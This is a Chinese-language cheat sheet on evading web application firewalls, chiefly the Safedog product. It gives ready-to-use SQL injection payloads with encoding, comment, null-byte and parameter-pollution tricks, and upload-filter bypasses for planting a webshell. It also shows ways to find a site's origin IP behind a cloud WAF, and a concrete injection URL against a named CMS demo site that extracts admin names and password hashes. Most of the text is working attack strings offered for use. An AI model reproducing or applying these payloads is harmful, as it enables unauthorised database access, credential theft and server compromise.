WAF绕过技术总结

WAF绕过技术

使用大小写变种

有的过滤器会过滤掉SQL语句中的关键字,比如SELECT,FROM等,因为数据库使用不区分大小写的方式来处理SQL关键字,所以可以使用大小写变种来绕过,例如:
' UNION SELECT password FROM USERS WHERE username='admin'--
可以替换成:
' UNiON SelECT password FRoM USERS WHErE username='admin'--

使用内联注释

有的过滤器会过滤掉注入语句中的空格字符,可以考虑使用内联注释的方法绕过:
'/**/UNION/**/SELECT/**/password/**/FROM/**/USERS/**/WHERE/**/username='admin'--
如果同时过滤了‘=’,可以使用‘LIKE’关键字来替换:
'/**/UNION/**/SELECT/**/password/**/FROM/**/USERS/**/WHERE/**/username/**/LIKE/**/'admin'--
注意:在MySQL中,甚至可以在关键字中使用内联注释来绕过WAF的关键字拦截:
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/**/OM/**/USERS/**/WH/**/ERE/**/username/**/LIKE/**/'admin'--
实际测试中,该方法行不通。


使用URL编码

有的过滤器会过滤空格和内联注释序列/*,但是无法阻止以URL编码表示的注释序列。

1
%2F%2A*/UNION%2F%2A*/SELECT%2F%2A*/password%2F%2A*/FROM%2F%2A*/USERS%2F%2A*/WHERE%2F%2A*/username%2F%2A*/LIKE%2F%2A*/'admin'--

以上这种方式如果不起作用的话,可以考虑使用URL双编码,即对上面攻击语句中的‘%’在一次进行URL编码,比如单引号的URL编码为%27,再一次编码为%2527(%的URL编码为%25):

1
%252F%252A*/UNION%252F%252A*/SELECT%252F%252A*/password%252F%252A*/FROM%252F%252A*/USERS%252F%252A*/WHERE%252F%252A*/username%252F%252A*/LIKE%252F%252A*/'admin'--

或者将真个注入语句进行URL编码。
如果想将特殊字符带入到数据库中执行,建议将输入得到语句全部进行URL编码之后发送。

使用16进制编码

使用十六进制数来实例化字符串:
SELECT password FROM USERS
16进制编码为:0x53454C4543542070617373776F72642046524F4D205553455253,可以按照下面的构造来动态执行:
DECLARE @query VARCHAR(100) SELECT @query = 0x53454C4543542070617373776F72642046524F4D205553455253 EXEC(@query)

使用空字节

在IPS和WAF等硬件设备中,这些设备考虑到性能的因素,一般使用原生语言编写,比如C++,对于这些语言,空字节代表字符串的结尾。过滤器如果遇到空字节,后面的内容不会处理,可以使用下面的语句来绕过:
%00' UNION SELECT password FROM USERS WHERE username='admin'--

嵌套剥离后的表达式

有些过滤器会剥离用户输入中的特性字符,但是不会做递归处理,所以有如下方式:
seselectlect

利用截断

假如一个过滤器有如下功能:
1.对单引号进行双重编码,使用两个单引号(‘’)替换所有的单引号(‘);
2.将每一项截断成16个字符;
假如输入:admin’–,那么结果会变成:
SELECT uid FROM USERS WHERE username ='admin''--' AND password=''
如果输入15个a加上一个’,那么会自动将’变成’’,这样有17个字符,然后截断成16个字符,就消掉了最后一个’。
带入到数据库查询会报错,因为有一个单引号未闭合:
SELECT uid FROM USERS WHERE username ='aaaaaaaaaaaaaaa'' AND password=''
但是password字段也可以插入,所以破解的办法是,在另一个字段想办法闭合,在password字段输入 or 1=1–:
SELECT uid FROM USERS WHERE username ='aaaaaaaaaaaaaaa'' AND password=' or 1=1 --'
上面的语句中,username=aaaaaaaaaaaaaaa’’ AND password=,后面or 1=1,条件永真。

伪造搜索引擎

早些版本的安全狗有这个漏洞,把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击。
原理:网站的WAF,一般会把搜索引擎的爬虫放到白名单里面,不然SEO就蛋疼了。

查找真实IP

这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,过滤之后,最后访问原始服务器,如果我们能通过一些手段找到原始的服务器地址,便可以绕过。查找网站历史IP:
http://toolbar.netcraft.com/site_report

修改请求方式绕过

有时候WAF对GET请求进行了过滤,但是Cookie或者POST参数却没有检测。

复参数绕过

例如一个请求是这样的:
GET /pen/news.php?id=1 union select user,password from MySQL.user
可以修改为:
GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

安全狗绕过技术

上传绕过

删除实体里面的Content-Type字段

删除Content-Disposition字段里的空格

Content-Disposition: form-data; name=”file”; filename=”yijuhua.php”
删除上面字段冒号后的空格或者name前面的空格。

修改Content-Disposition字段值的大小写

Content-Disposition: form-data; name=”file”; filename=”yijuhua.php”
将name替换成nAme。

字段中插入干扰字符

网站具有任意文件上传漏洞,但是安全狗拦截危险的脚本文件后缀,比如php、asp、aspx等,可以在Content-Disposition字段和filename字段之间插入任意大于或者等于508个长度的字符,再配合特殊文件名(文件名中间需要有分分号或者单引号),能够绕过安全狗的上传限制。

Content-Disposition:form-data;name="file";_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_www.cnzxsoft.com_......;Filename="tea;sd.cer"

注意:以上方法绕过安全狗的上传还需要使用免杀的一句话马,安全狗具备webshell查杀功能。

双文件上传

安全狗有专门的文件上传防御模块,禁止cdx、cer、cgi、dll、exe、jsp、php、asp、aspx等类型的文件上传。

安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是符合安全要求的,第二个文件没有检查,但是webserver在保存文件的时候却保存了第二个文件名test.php。

超长文件名

修改上传的文件名为超长文件名。

文件大小

修改上传文件内容,在内容中加很多注释,据说文件大小达到1.5m时,安全狗不在检测。

文件名空字符

在filename=后面加上空格,TAB等空字符再跟上文件名,可以绕过dog的上传检测。

空字符

在分号的前后加上一定数量的TAB,在测试中是加入了466个TAB字符,可以绕过dog的上传检测。

注入绕过

用于绕过的核心字符:%0A,某些特殊场合需要和注释符配合使用。

原理:%0A为换行符,在MySQL和MSSQL中,能够替换空格。
MSSQL:
测试语句:
http://192.168.1.152/cart.aspx?act=buy&id=1 and 1=user
and作为关键字被安全狗拦截。
测试语句改为:
http://192.168.1.152/cart.aspx?act=buy&id=1%0Aand 1=user
成功绕过。
MySQL:
测试语句:
http://192.168.91.152:8000/About.php?id=2 and 1=1
and作为关键字被安全狗拦截。
测试语句改为:
http://192.168.91.152:8000/About.php?id=2%0Aand/**/1=1

输入如下被拦截

1
http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=錦'union select 1,group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash),3 from qs_admin #

绕过办法:

1
http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=錦'union /*!50000SeLect*/ 1,group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash),3 from qs_admin #

原理:
安全狗拦截的是select关键字,那么把select换成
/*!50000SeLect*/
就能够绕过,上面代码的意思:当MySQL版本大于或等于50000,也就是版本大于或者等于5.0时,那么该注释会被解析成代码。

实际测试:
/*!select*//**/*/**//*!from*//**/user;
能够执行,中间的50000不写,应该默认的是最低版本。

所以绕过语句还能写成如下的形式:
注入语句:
http://192.168.1.3/typeid.php?typeid=1 and 1=2 union select 1,2,3,4,5
绕过语句:
http://192.168.1.3/typeid.php?typeid=1/*!and*/1=2%20/*!union*//*!select*/1,2,3,4,5
初步判断出安全狗的正则匹配应该是“\s+and”这类的形式,也就是空字符或者空格后匹配敏感字符,所以只要想办法去掉空格安全狗就无法匹配,但是/**/安全狗做了匹配。所以可以使用/*!50000*/来绕过。